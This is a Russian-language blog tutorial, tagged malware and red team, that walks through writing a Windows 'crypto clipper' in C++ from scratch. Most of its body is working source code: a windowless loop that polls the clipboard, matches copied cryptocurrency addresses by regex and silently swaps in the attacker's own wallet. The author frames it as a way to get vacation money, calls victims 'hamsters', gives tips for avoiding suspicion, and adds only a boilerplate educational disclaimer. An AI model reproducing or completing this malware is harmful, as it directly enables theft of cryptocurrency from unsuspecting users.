# Укради это! Пишем крипто клиппер с нуля ###### tags: `malware` `development` `red_team` ![](https://hackmd.io/_uploads/SyvvYxuhn.png) --- Лето уже не за горами, а, значит, пора заняться поисками денежных средств, которые пойдут на отпуск с блэкджеком и шлюхами. В этом непростом занятии нам может помочь крипто клиппер, структуру которого мы сегодня разберем в деталях и, в качестве приятного дополнения, напишем свой собственный. **Дисклеймер: Все материалы в статье предоставлены в образовательных целях. Автор не призывает читателей к нарушению закона и не несет ответственности за действия, совершенные ими после изучения данной информации.** ### Содержание: - [Основная информация о крипто клипперах](##Основная-информация-о-криптоклипперах) - [Разбираемся в структуре работы клиппера](##Разбираемся-в-структуре-работы-клиппера) - [Пишем свой крипто клиппер](##Пишем-свой-крипто-клиппер) - [Заключение](##Заключение) ## Основная информация о крипто клипперах **Крипто клиппер** - вредоносное ПО, основной задачей которого является кража криптовалютных активов незадачливового пользователя путем подмены адреса криптокошелька получателя. Почему злоумышленники выбрали именно криптовалюту в качестве цели своей атаки? Ответ очень прост: относительная анонимность. Создать криптовалютный кошелек можно за 1 минуту без предоставления каких-либо документов, в то время как открытие того же банковского счета требует намного больше действий и документов. Да, можно завести счета на подставных лиц (дропов), но стоит ли овчинка выделки? Еще одной причиной такого выбора стала невнимательность пользователей. Так, если сверку номера карты или телефона с источником человеческий мозг в большинстве случаев способен осилить, то при сверке криптоадресов часто начинаются проблемы ввиду их длины и трудночитаемости. Есть и еще один приятный бонус: транзакции в блокчейне отменить намного сложнее, чем в обычной системе платежей. ## Разбираемся в структуре работы клиппера Что ж, пора посмотреть, что кроется у данного вида ВПО под капотом. *PS: в данной статье мы будем рассматривать крипто клипперы, ориентированные на устройства под управлением ОС Windows, ввиду ее массовой распространенности.* Для работы с буфером нам потребуется 3 функции из WinAPI: **GetClipboardData**, **SetClipboardData**, **EmptyClipboard**. Как понятно из их названий, они занимаются получением данных из буфера обмена, помещением данных в буфер и его очисткой. Пораскинув мозгами, можно составить простейшую схему работы такого ПО: 1. Получение данных из буфера обмена. 2. Сверка данных регулярным выражением в целях подмены только определенных данных. 3. Замена данных соответствующим значением в случае положительного результата проверки. Естественно, все это происходит в цикле. Причину наличия цикла, надеюсь, разъяснять не нужно. ## Пишем свой крипто клиппер Вот мы и подобрались к самому интересному. Писать мы будем наш клиппер на C++, так как на C# хватает поделок и без меня, а к экзотике типа Rust и Go я пока что морально не готов. Первым делом добавим необходимые для работы библиотеки: ``` #include <regex> #include <Windows.h> using namespace std; ``` Можно обойтись и без **using ...**, но в таком случае придется прописывать **std::** самостоятельно, что добавит лишней головной боли. Функция **main** у нас будет выглядеть просто и лаконично: ``` int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { while (true) { char* clipboardData = GetClipboardText(); if (clipboardData != NULL) { CheckClipboardText(clipboardData); } Sleep(20); } } ``` Тем не менее, для лучшего понимания стоит пояснить некоторые детали: 1. **int WINAPI WinMain(...)** - один из вариантов функции **main**, в данном конкретном случае избавляет нас от инициализации консольного окна (согласитесь, вряд ли потенциальная жертва обрадуется нашим намерениям). 2. **Sleep(20)** - задержка перед повторным выполнением цикла. Не стоит сильно загружать систему, а то хомячок может что-то заподозрить. Следующая на очереди функция, которая будет получать данные из буфера обмена: ``` char* GetClipboardText() { HANDLE data; if (OpenClipboard(NULL)) { data = GetClipboardData(CF_TEXT); } CloseClipboard(); return (char*)data; } ``` Преобразователь **(char*)** в **return** обязателен, так как изначальным типом данных переменной является [**HANDLE**](https://learn.microsoft.com/en-us/windows/win32/sysinfo/about-handles-and-objects), который не подходит под возвращаемое значение (хоть и содержит необходимую нам информацию). Получив данные, нужно обработать их. В этом нам поможет функция **CheckClipboardText**: ``` void CheckClipboardText(char* clipboardData) { static vector<pair<regex, string>> coinPairs = { {regex("BTC_REGEX"), "BTC_ADDRESS"}, {regex("LTC_REGEX"), "LTC_ADDRESS"}, {regex("ETH_REGEX"), "ETH_ADDRESS"}, {regex("XLM_REGEX"), "XLM_ADDRESS"}, {regex("XMR_REGEX"), "XMR_ADDRESS"}, {regex("BCH_REGEX"), "BCH_ADDRESS"}, {regex("DASH_REGEX"), "DASH_ADDRESS"}, {regex("DOGE_REGEX"), "DOGE_ADDRESS"}, }; for (const auto coin : coinPairs) { if (!coin.second.empty()) { if (coin.second != clipboardData) { if (regex_match(clipboardData, coin.first)) { SetClipboardText(coin.second); } } } } } ``` Здесь мы создаем статическое (чтобы не инициализировать каждый раз) хранилище для регулярных выражений и строк - вектор coinPairs. В качестве BTC_ADDRESS и т. п. необходимо подставить ваши кошельки. Конкретные же значения регулярных выражений оставляю вам на самостоятельный поиск, так как моя цель - показать вам путь, а не дать готовое решение. PS: если вы по какой-то причине не хотите подменять конкретный кошелек - оставьте значение пустым, и он не будет проверяться. Дальше же все просто: каждая пара regex:string проверяется с полученными данными, и при совпадении вызывается функция замены соответствующим кошельком. Заниматься этой операцией будет функция **SetClipboardText**: ``` void SetClipboardText(string text) { HGLOBAL glob = GlobalAlloc(GMEM_FIXED, text.length() + 1); memcpy(glob, text.c_str(), text.length() + 1); if (OpenClipboard(nullptr)) { EmptyClipboard(); SetClipboardData(CF_TEXT, glob); } CloseClipboard(); } ``` В общих чертах, тут происходит следующее: 1. Выделяется объем памяти, достаточный для копирования входных данных. 2. Происходит их копирование с помощью **memcpy**. 3. Выполняется очистка буфера обмена, с целью избежания наложения на уже имеющиеся в нем данные. 4. Наше значение кошелька помещается в буфер обмена. На этом часть с кодингом подходит к концу, как и сама статья. ## Заключение Конечно, в данной статье описаны не все функции клиппера, которые могут в нем присутствовать, такие как закрепление, обфускация строк и вызовов API и многое другое. Тем не менее, основная часть, показанная здесь, рабочая и имеет право на жизнь. Учитесь, работайте, а главное - думайте головой, друзья, и у вас все получится! **Telegram**: [File Exploit](https://t.me/filexploit)